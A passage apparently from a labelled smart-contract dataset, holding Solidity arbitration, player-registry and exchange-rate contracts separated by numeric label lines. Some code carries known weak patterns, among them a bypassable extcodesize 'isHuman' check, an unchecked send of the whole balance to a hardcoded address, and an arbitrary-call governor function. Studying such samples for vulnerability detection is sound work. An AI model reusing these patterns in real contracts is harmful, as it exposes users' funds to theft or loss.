dispute.votes[i].length; ++j) { vote = dispute.votes[i][j]; if (vote.ruling == winningChoice) { juror = jurors[vote.account]; juror.balance += toRedistribute; TokenShift(vote.account, _disputeID, int(toRedistribute)); } } } } for (j = 0; j < dispute.votes[i].length; ++j) { vote = dispute.votes[i][j]; juror = jurors[vote.account]; juror.atStake -= amountShift; } } dispute.state = DisputeState.Executable; } function multipleShotTokenRepartition(uint _disputeID, uint _maxIterations) public onlyDuring(Period.Execution) { Dispute storage dispute = disputes[_disputeID]; require(dispute.state <= DisputeState.Resolving); require(dispute.session+dispute.appeals <= session); dispute.state = DisputeState.Resolving; uint winningChoice = dispute.voteCounter[dispute.appeals].winningChoice; uint amountShift = getStakePerDraw(); uint currentIterations = 0; for (uint i = dispute.currentAppealToRepartition; i <= dispute.appeals; ++i) { if (dispute.appealsRepartitioned.length < i+1) { dispute.appealsRepartitioned.length++; } if (winningChoice==0 && (dispute.voteCounter[dispute.appeals].voteCount[0] != dispute.voteCounter[dispute.appeals].winningCount)) { dispute.appealsRepartitioned[i].stage = RepartitionStage.AtStake; } if (dispute.appealsRepartitioned[i].stage == RepartitionStage.Incoherent) { for (uint j = dispute.appealsRepartitioned[i].currentIncoherentVote; j < dispute.votes[i].length; ++j) { if (currentIterations >= _maxIterations) { return; } Vote storage vote = dispute.votes[i][j]; if (vote.ruling != winningChoice) { Juror storage juror = jurors[vote.account]; uint penalty = amountShift<juror.balance ? amountShift : juror.balance; juror.balance -= penalty; TokenShift(vote.account, _disputeID, int(-penalty)); dispute.appealsRepartitioned[i].totalToRedistribute += penalty; } else { ++dispute.appealsRepartitioned[i].nbCoherent; } ++dispute.appealsRepartitioned[i].currentIncoherentVote; ++currentIterations; } dispute.appealsRepartitioned[i].stage = RepartitionStage.Coherent; } if (dispute.appealsRepartitioned[i].stage == RepartitionStage.Coherent) { if (dispute.appealsRepartitioned[i].nbCoherent == 0) { jurors[governor].balance += dispute.appealsRepartitioned[i].totalToRedistribute; TokenShift(governor, _disputeID, int(dispute.appealsRepartitioned[i].totalToRedistribute)); dispute.appealsRepartitioned[i].stage = RepartitionStage.AtStake; } else { uint toRedistribute = dispute.appealsRepartitioned[i].totalToRedistribute / dispute.appealsRepartitioned[i].nbCoherent; for (j = dispute.appealsRepartitioned[i].currentCoherentVote; j < dispute.votes[i].length; ++j) { if (currentIterations >= _maxIterations) { return; } vote = dispute.votes[i][j]; if (vote.ruling == winningChoice) { juror = jurors[vote.account]; juror.balance += toRedistribute; TokenShift(vote.account, _disputeID, int(toRedistribute)); } ++currentIterations; ++dispute.appealsRepartitioned[i].currentCoherentVote; } dispute.appealsRepartitioned[i].stage = RepartitionStage.AtStake; } } if (dispute.appealsRepartitioned[i].stage == RepartitionStage.AtStake) { for (j = dispute.appealsRepartitioned[i].currentAtStakeVote; j < dispute.votes[i].length; ++j) { if (currentIterations >= _maxIterations) { return; } vote = dispute.votes[i][j]; juror = jurors[vote.account]; juror.atStake -= amountShift; ++currentIterations; ++dispute.appealsRepartitioned[i].currentAtStakeVote; } dispute.appealsRepartitioned[i].stage = RepartitionStage.Complete; } if (dispute.appealsRepartitioned[i].stage == RepartitionStage.Complete) { ++dispute.currentAppealToRepartition; } } dispute.state = DisputeState.Executable; } function amountJurors(uint _disputeID) public view returns (uint nbJurors) { Dispute storage dispute = disputes[_disputeID]; return (dispute.initialNumberJurors + 1) * 2**dispute.appeals - 1; } function validDraws(address _jurorAddress, uint _disputeID, uint[] _draws) public view returns (bool valid) { uint draw = 0; Juror storage juror = jurors[_jurorAddress]; Dispute storage dispute = disputes[_disputeID]; uint nbJurors = amountJurors(_disputeID); if (juror.lastSession != session) return false; if (dispute.session+dispute.appeals != session) return false; if (period <= Period.Draw) return false; for (uint i = 0; i < _draws.length; ++i) { if (_draws[i] <= draw) return false; draw = _draws[i]; if (draw > nbJurors) return false; uint position = uint(keccak256(randomNumber, _disputeID, draw)) % segmentSize; require(position >= juror.segmentStart); require(position < juror.segmentEnd); } return true; } function createDispute(uint _choices, bytes _extraData) public payable returns (uint disputeID) { uint16 nbJurors = extraDataToNbJurors(_extraData); require(msg.value >= arbitrationCost(_extraData)); disputeID = disputes.length++; Dispute storage dispute = disputes[disputeID]; dispute.arbitrated = Arbitrable(msg.sender); if (period < Period.Draw) dispute.session = session; else dispute.session = session+1; dispute.choices = _choices; dispute.initialNumberJurors = nbJurors; dispute.arbitrationFeePerJuror = arbitrationFeePerJuror; dispute.votes.length++; dispute.voteCounter.length++; DisputeCreation(disputeID, Arbitrable(msg.sender)); return disputeID; } function appeal(uint _disputeID, bytes _extraData) public payable onlyDuring(Period.Appeal) { super.appeal(_disputeID,_extraData); Dispute storage dispute = disputes[_disputeID]; require(msg.value >= appealCost(_disputeID, _extraData)); require(dispute.session+dispute.appeals == session); require(dispute.arbitrated == msg.sender); dispute.appeals++; dispute.votes.length++; dispute.voteCounter.length++; } function executeRuling(uint disputeID) public { Dispute storage dispute = disputes[disputeID]; require(dispute.state == DisputeState.Executable); dispute.state = DisputeState.Executed; dispute.arbitrated.rule(disputeID, dispute.voteCounter[dispute.appeals].winningChoice); } function arbitrationCost(bytes _extraData) public view returns (uint fee) { return extraDataToNbJurors(_extraData) * arbitrationFeePerJuror; } function appealCost(uint _disputeID, bytes _extraData) public view returns (uint fee) { Dispute storage dispute = disputes[_disputeID]; if(dispute.appeals >= maxAppeals) return NON_PAYABLE_AMOUNT; return (2*amountJurors(_disputeID) + 1) * dispute.arbitrationFeePerJuror; } function extraDataToNbJurors(bytes _extraData) internal view returns (uint16 nbJurors) { if (_extraData.length < 2) return defaultNumberJuror; else return (uint16(_extraData[0]) << 8) + uint16(_extraData[1]); } function getStakePerDraw() public view returns (uint minActivatedTokenInAlpha) { return (alpha * minActivatedToken) / ALPHA_DIVISOR; } function getVoteAccount(uint _disputeID, uint _appeals, uint _voteID) public view returns (address account) { return disputes[_disputeID].votes[_appeals][_voteID].account; } function getVoteRuling(uint _disputeID, uint _appeals, uint _voteID) public view returns (uint ruling) { return disputes[_disputeID].votes[_appeals][_voteID].ruling; } function getWinningChoice(uint _disputeID, uint _appeals) public view returns (uint winningChoice) { return disputes[_disputeID].voteCounter[_appeals].winningChoice; } function getWinningCount(uint _disputeID, uint _appeals) public view returns (uint winningCount) { return disputes[_disputeID].voteCounter[_appeals].winningCount; } function getVoteCount(uint _disputeID, uint _appeals, uint _choice) public view returns (uint voteCount) { return disputes[_disputeID].voteCounter[_appeals].voteCount[_choice]; } function getLastSessionVote(uint _disputeID, address _juror) public view returns (uint lastSessionVote) { return disputes[_disputeID].lastSessionVote[_juror]; } function isDrawn(uint _disputeID, address _juror, uint _draw) public view returns (bool drawn) { Dispute storage dispute = disputes[_disputeID]; Juror storage juror = jurors[_juror]; if (juror.lastSession != session || (dispute.session+dispute.appeals != session) || period<=Period.Draw || _draw>amountJurors(_disputeID) || _draw==0 || segmentSize==0 ) { return false; } else { uint position = uint(keccak256(randomNumber,_disputeID,_draw)) % segmentSize; return (position >= juror.segmentStart) && (position < juror.segmentEnd); } } function currentRuling(uint _disputeID) public view returns (uint ruling) { Dispute storage dispute = disputes[_disputeID]; return dispute.voteCounter[dispute.appeals].winningChoice; } function disputeStatus(uint _disputeID) public view returns (DisputeStatus status) { Dispute storage dispute = disputes[_disputeID]; if (dispute.session+dispute.appeals < session) return DisputeStatus.Solved; else if(dispute.session+dispute.appeals == session) { if (dispute.state == DisputeState.Open) { if (period < Period.Appeal) return DisputeStatus.Waiting; else if (period == Period.Appeal) return DisputeStatus.Appealable; else return DisputeStatus.Solved; } else return DisputeStatus.Solved; } else return DisputeStatus.Waiting; } function executeOrder(bytes32 _data, uint _value, address _target) public onlyGovernor { _target.call.value(_value)(_data); } function setRng(RNG _rng) public onlyGovernor { rng = _rng; } function setArbitrationFeePerJuror(uint _arbitrationFeePerJuror) public onlyGovernor { arbitrationFeePerJuror = _arbitrationFeePerJuror; } function setDefaultNumberJuror(uint16 _defaultNumberJuror) public onlyGovernor { defaultNumberJuror = _defaultNumberJuror; } function setMinActivatedToken(uint _minActivatedToken) public onlyGovernor { minActivatedToken = _minActivatedToken; } function setTimePerPeriod(uint[5] _timePerPeriod) public onlyGovernor { timePerPeriod = _timePerPeriod; } function setAlpha(uint _alpha) public onlyGovernor { alpha = _alpha; } function setMaxAppeals(uint _maxAppeals) public onlyGovernor { maxAppeals = _maxAppeals; } function setGovernor(address _governor) public onlyGovernor { governor = _governor; } }
0
2,061
pragma solidity ^0.4.24; interface JIincForwarderInterface { function deposit() external payable returns(bool); function status() external view returns(address, address, bool); function startMigration(address _newCorpBank) external returns(bool); function cancelMigration() external returns(bool); function finishMigration() external returns(bool); function setup(address _firstCorpBank) external; } interface PlayerBookReceiverInterface { function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external; function receivePlayerNameList(uint256 _pID, bytes32 _name) external; } interface TeamJustInterface { function requiredSignatures() external view returns(uint256); function requiredDevSignatures() external view returns(uint256); function adminCount() external view returns(uint256); function devCount() external view returns(uint256); function adminName(address _who) external view returns(bytes32); function isAdmin(address _who) external view returns(bool); function isDev(address _who) external view returns(bool); } contract PlayerBook { using NameFilter for string; using SafeMath for uint256; TeamJustInterface constant private TeamJust = TeamJustInterface(0xc314e8f2150cb9075ff0744234739af891df929d); address constant private reward = 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f; MSFun.Data private msData; function multiSigDev(bytes32 _whatFunction) private returns (bool) {return(MSFun.multiSig(msData, TeamJust.requiredDevSignatures(), _whatFunction));} function deleteProposal(bytes32 _whatFunction) private {MSFun.deleteProposal(msData, _whatFunction);} function deleteAnyProposal(bytes32 _whatFunction) onlyDevs() public {MSFun.deleteProposal(msData, _whatFunction);} function checkData(bytes32 _whatFunction) onlyDevs() public view returns(bytes32, uint256) {return(MSFun.checkMsgData(msData, _whatFunction), MSFun.checkCount(msData, _whatFunction));} function checkSignersByAddress(bytes32 _whatFunction, uint256 _signerA, uint256 _signerB, uint256 _signerC) onlyDevs() public view returns(address, address, address) {return(MSFun.checkSigner(msData, _whatFunction, _signerA), MSFun.checkSigner(msData, _whatFunction, _signerB), MSFun.checkSigner(msData, _whatFunction, _signerC));} function checkSignersByName(bytes32 _whatFunction, uint256 _signerA, uint256 _signerB, uint256 _signerC) onlyDevs() public view returns(bytes32, bytes32, bytes32) {return(TeamJust.adminName(MSFun.checkSigner(msData, _whatFunction, _signerA)), TeamJust.adminName(MSFun.checkSigner(msData, _whatFunction, _signerB)), TeamJust.adminName(MSFun.checkSigner(msData, _whatFunction, _signerC)));} uint256 public registrationFee_ = 10 finney; mapping(uint256 => PlayerBookReceiverInterface) public games_; mapping(address => bytes32) public gameNames_; mapping(address => uint256) public gameIDs_; uint256 public gID_; uint256 public pID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => Player) public plyr_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => mapping (uint256 => bytes32)) public plyrNameList_; struct Player { address addr; bytes32 name; uint256 laff; uint256 names; } constructor() public { plyr_[1].addr = 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f; plyr_[1].name = "justo"; plyr_[1].names = 1; pIDxAddr_[0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f] = 1; pIDxName_["justo"] = 1; plyrNames_[1]["justo"] = true; plyrNameList_[1][1] = "justo"; plyr_[2].addr = 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f; plyr_[2].name = "mantso"; plyr_[2].names = 1; pIDxAddr_[0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f] = 2; pIDxName_["mantso"] = 2; plyrNames_[2]["mantso"] = true; plyrNameList_[2][1] = "mantso"; plyr_[3].addr = 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f; plyr_[3].name = "sumpunk"; plyr_[3].names = 1; pIDxAddr_[0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f] = 3; pIDxName_["sumpunk"] = 3; plyrNames_[3]["sumpunk"] = true; plyrNameList_[3][1] = "sumpunk"; plyr_[4].addr = 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f; plyr_[4].name = "inventor"; plyr_[4].names = 1; pIDxAddr_[0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f] = 4; pIDxName_["inventor"] = 4; plyrNames_[4]["inventor"] = true; plyrNameList_[4][1] = "inventor"; pID_ = 4; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } modifier onlyDevs() { require(TeamJust.isDev(msg.sender) == true, "msg sender is not a dev"); _; } modifier isRegisteredGame() { require(gameIDs_[msg.sender] != 0); _; } event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); function checkIfNameValid(string _nameStr) public view returns(bool) { bytes32 _name = _nameStr.nameFilter(); if (pIDxName_[_name] == 0) return (true); else return (false); } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); bytes32 _name = NameFilter.nameFilter(_nameString); address _addr = msg.sender; bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID) { plyr_[_pID].laff = _affCode; } else if (_affCode == _pID) { _affCode = 0; } registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); bytes32 _name = NameFilter.nameFilter(_nameString); address _addr = msg.sender; bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID; if (_affCode != address(0) && _affCode != _addr) { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); bytes32 _name = NameFilter.nameFilter(_nameString); address _addr = msg.sender; bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID; if (_affCode != "" && _affCode != _name) { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); } function addMeToGame(uint256 _gameID) isHuman() public { require(_gameID <= gID_, "silly player, that game doesn't exist yet"); address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, "hey there buddy, you dont even have an account"); uint256 _totalNames = plyr_[_pID].names; games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff); if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } function addMeToAllGames() isHuman() public { address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, "hey there buddy, you dont even have an account"); uint256 _laff = plyr_[_pID].laff; uint256 _totalNames = plyr_[_pID].names; bytes32 _name = plyr_[_pID].name; for (uint256 i = 1; i <= gID_; i++) { games_[i].receivePlayerInfo(_pID, _addr, _name, _laff); if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } } function useMyOldName(string _nameString) isHuman() public { bytes32 _name = _nameString.nameFilter(); uint256 _pID = pIDxAddr_[msg.sender]; require(plyrNames_[_pID][_name] == true, "umm... thats not a name you own"); plyr_[_pID].name = _name; } function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all) private { if (pIDxName_[_name] != 0) require(plyrNames_[_pID][_name] == true, "sorry that names already taken"); plyr_[_pID].name = _name; pIDxName_[_name] = _pID; if (plyrNames_[_pID][_name] == false) { plyrNames_[_pID][_name] = true; plyr_[_pID].names++; plyrNameList_[_pID][plyr_[_pID].names] = _name; } reward.send(address(this).balance); if (_all == true) for (uint256 i = 1; i <= gID_; i++) games_[i].receivePlayerInfo(_pID, _addr, _name, _affID); emit onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now); } function determinePID(address _addr) private returns (bool) { if (pIDxAddr_[_addr] == 0) { pID_++; pIDxAddr_[_addr] = pID_; plyr_[pID_].addr = _addr; return (true); } else { return (false); } } function getPlayerID(address _addr) isRegisteredGame() external returns (uint256) { determinePID(_addr); return (pIDxAddr_[_addr]); } function getPlayerName(uint256 _pID) external view returns (bytes32) { return (plyr_[_pID].name); } function getPlayerLAff(uint256 _pID) external view returns (uint256) { return (plyr_[_pID].laff); } function getPlayerAddr(uint256 _pID) external view returns (address) { return (plyr_[_pID].addr); } function getNameFee() external view returns (uint256) { return(registrationFee_); } function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID = _affCode; if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID) { plyr_[_pID].laff = _affID; } else if (_affID == _pID) { _affID = 0; } registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID; if (_affCode != address(0) && _affCode != _addr) { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID; if (_affCode != "" && _affCode != _name) { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function addGame(address _gameAddress, string _gameNameStr) onlyDevs() public { require(gameIDs_[_gameAddress] == 0, "derp, that games already been registered"); if (multiSigDev("addGame") == true) {deleteProposal("addGame"); gID_++; bytes32 _name = _gameNameStr.nameFilter(); gameIDs_[_gameAddress] = gID_; gameNames_[_gameAddress] = _name; games_[gID_] = PlayerBookReceiverInterface(_gameAddress); games_[gID_].receivePlayerInfo(1, plyr_[1].addr, plyr_[1].name, 0); games_[gID_].receivePlayerInfo(2, plyr_[2].addr, plyr_[2].name, 0); games_[gID_].receivePlayerInfo(3, plyr_[3].addr, plyr_[3].name, 0); games_[gID_].receivePlayerInfo(4, plyr_[4].addr, plyr_[4].name, 0); } } function setRegistrationFee(uint256 _fee) onlyDevs() public { if (multiSigDev("setRegistrationFee") == true) {deleteProposal("setRegistrationFee"); registrationFee_ = _fee; } } } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } } library MSFun { struct Data { mapping (bytes32 => ProposalData) proposal_; } struct ProposalData { bytes32 msgData; uint256 count; mapping (address => bool) admin; mapping (uint256 => address) log; } function multiSig(Data storage self, uint256 _requiredSignatures, bytes32 _whatFunction) internal returns(bool) { bytes32 _whatProposal = whatProposal(_whatFunction); uint256 _currentCount = self.proposal_[_whatProposal].count; address _whichAdmin = msg.sender; bytes32 _msgData = keccak256(msg.data); if (_currentCount == 0) { self.proposal_[_whatProposal].msgData = _msgData; self.proposal_[_whatProposal].admin[_whichAdmin] = true; self.proposal_[_whatProposal].log[_currentCount] = _whichAdmin; self.proposal_[_whatProposal].count += 1; if (self.proposal_[_whatProposal].count == _requiredSignatures) { return(true); } } else if (self.proposal_[_whatProposal].msgData == _msgData) { if (self.proposal_[_whatProposal].admin[_whichAdmin] == false) { self.proposal_[_whatProposal].admin[_whichAdmin] = true; self.proposal_[_whatProposal].log[_currentCount] = _whichAdmin; self.proposal_[_whatProposal].count += 1; } if (self.proposal_[_whatProposal].count == _requiredSignatures) { return(true); } } } function deleteProposal(Data storage self, bytes32 _whatFunction) internal { bytes32 _whatProposal = whatProposal(_whatFunction); address _whichAdmin; for (uint256 i=0; i < self.proposal_[_whatProposal].count; i++) { _whichAdmin = self.proposal_[_whatProposal].log[i]; delete self.proposal_[_whatProposal].admin[_whichAdmin]; delete self.proposal_[_whatProposal].log[i]; } delete self.proposal_[_whatProposal]; } function whatProposal(bytes32 _whatFunction) private view returns(bytes32) { return(keccak256(abi.encodePacked(_whatFunction,this))); } function checkMsgData (Data storage self, bytes32 _whatFunction) internal view returns (bytes32 msg_data) { bytes32 _whatProposal = whatProposal(_whatFunction); return (self.proposal_[_whatProposal].msgData); } function checkCount (Data storage self, bytes32 _whatFunction) internal view returns (uint256 signature_count) { bytes32 _whatProposal = whatProposal(_whatFunction); return (self.proposal_[_whatProposal].count); } function checkSigner (Data storage self, bytes32 _whatFunction, uint256 _signer) internal view returns (address signer) { require(_signer > 0, "MSFun checkSigner failed - 0 not allowed"); bytes32 _whatProposal = whatProposal(_whatFunction); return (self.proposal_[_whatProposal].log[_signer - 1]); } }
0
2,363
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } library SafeDecimalMath { using SafeMath for uint; uint8 public constant decimals = 18; uint8 public constant highPrecisionDecimals = 27; uint public constant UNIT = 10 ** uint(decimals); uint public constant PRECISE_UNIT = 10 ** uint(highPrecisionDecimals); uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10 ** uint(highPrecisionDecimals - decimals); function unit() external pure returns (uint) { return UNIT; } function preciseUnit() external pure returns (uint) { return PRECISE_UNIT; } function multiplyDecimal(uint x, uint y) internal pure returns (uint) { return x.mul(y) / UNIT; } function _multiplyDecimalRound(uint x, uint y, uint precisionUnit) private pure returns (uint) { uint quotientTimesTen = x.mul(y) / (precisionUnit / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } function multiplyDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) { return _multiplyDecimalRound(x, y, PRECISE_UNIT); } function multiplyDecimalRound(uint x, uint y) internal pure returns (uint) { return _multiplyDecimalRound(x, y, UNIT); } function divideDecimal(uint x, uint y) internal pure returns (uint) { return x.mul(UNIT).div(y); } function _divideDecimalRound(uint x, uint y, uint precisionUnit) private pure returns (uint) { uint resultTimesTen = x.mul(precisionUnit * 10).div(y); if (resultTimesTen % 10 >= 5) { resultTimesTen += 10; } return resultTimesTen / 10; } function divideDecimalRound(uint x, uint y) internal pure returns (uint) { return _divideDecimalRound(x, y, UNIT); } function divideDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) { return _divideDecimalRound(x, y, PRECISE_UNIT); } function decimalToPreciseDecimal(uint i) internal pure returns (uint) { return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR); } function preciseDecimalToDecimal(uint i) internal pure returns (uint) { uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } } contract Owned { address public owner; address public nominatedOwner; constructor(address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { require(msg.sender == owner, "Only the contract owner may perform this action"); _; } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } contract SelfDestructible is Owned { uint public initiationTime; bool public selfDestructInitiated; address public selfDestructBeneficiary; uint public constant SELFDESTRUCT_DELAY = 4 weeks; constructor(address _owner) Owned(_owner) public { require(_owner != address(0), "Owner must not be the zero address"); selfDestructBeneficiary = _owner; emit SelfDestructBeneficiaryUpdated(_owner); } function setSelfDestructBeneficiary(address _beneficiary) external onlyOwner { require(_beneficiary != address(0), "Beneficiary must not be the zero address"); selfDestructBeneficiary = _beneficiary; emit SelfDestructBeneficiaryUpdated(_beneficiary); } function initiateSelfDestruct() external onlyOwner { initiationTime = now; selfDestructInitiated = true; emit SelfDestructInitiated(SELFDESTRUCT_DELAY); } function terminateSelfDestruct() external onlyOwner { initiationTime = 0; selfDestructInitiated = false; emit SelfDestructTerminated(); } function selfDestruct() external onlyOwner { require(selfDestructInitiated, "Self destruct has not yet been initiated"); require(initiationTime + SELFDESTRUCT_DELAY < now, "Self destruct delay has not yet elapsed"); address beneficiary = selfDestructBeneficiary; emit SelfDestructed(beneficiary); selfdestruct(beneficiary); } event SelfDestructTerminated(); event SelfDestructed(address beneficiary); event SelfDestructInitiated(uint selfDestructDelay); event SelfDestructBeneficiaryUpdated(address newBeneficiary); } contract ExchangeRates is SelfDestructible { using SafeMath for uint; using SafeDecimalMath for uint; mapping(bytes4 => uint) public rates; mapping(bytes4 => uint) public lastRateUpdateTimes; address public oracle; uint constant ORACLE_FUTURE_LIMIT = 10 minutes; uint public rateStalePeriod = 3 hours; bool public priceUpdateLock = false; bytes4[5] public xdrParticipants; struct InversePricing { uint entryPoint; uint upperLimit; uint lowerLimit; bool frozen; } mapping(bytes4 => InversePricing) public inversePricing; bytes4[] public invertedKeys; constructor( address _owner, address _oracle, bytes4[] _currencyKeys, uint[] _newRates ) SelfDestructible(_owner) public { require(_currencyKeys.length == _newRates.length, "Currency key length and rate length must match."); oracle = _oracle; rates["sUSD"] = SafeDecimalMath.unit(); lastRateUpdateTimes["sUSD"] = now; xdrParticipants = [ bytes4("sUSD"), bytes4("sAUD"), bytes4("sCHF"), bytes4("sEUR"), bytes4("sGBP") ]; internalUpdateRates(_currencyKeys, _newRates, now); } function updateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent) external onlyOracle returns(bool) { return internalUpdateRates(currencyKeys, newRates, timeSent); } function internalUpdateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent) internal returns(bool) { require(currencyKeys.length == newRates.length, "Currency key array length must match rates array length."); require(timeSent < (now + ORACLE_FUTURE_LIMIT), "Time is too far into the future"); for (uint i = 0; i < currencyKeys.length; i++) { require(newRates[i] != 0, "Zero is not a valid rate, please call deleteRate instead."); require(currencyKeys[i] != "sUSD", "Rate of sUSD cannot be updated, it's always UNIT."); if (timeSent < lastRateUpdateTimes[currencyKeys[i]]) { continue; } newRates[i] = rateOrInverted(currencyKeys[i], newRates[i]); rates[currencyKeys[i]] = newRates[i]; lastRateUpdateTimes[currencyKeys[i]] = timeSent; } emit 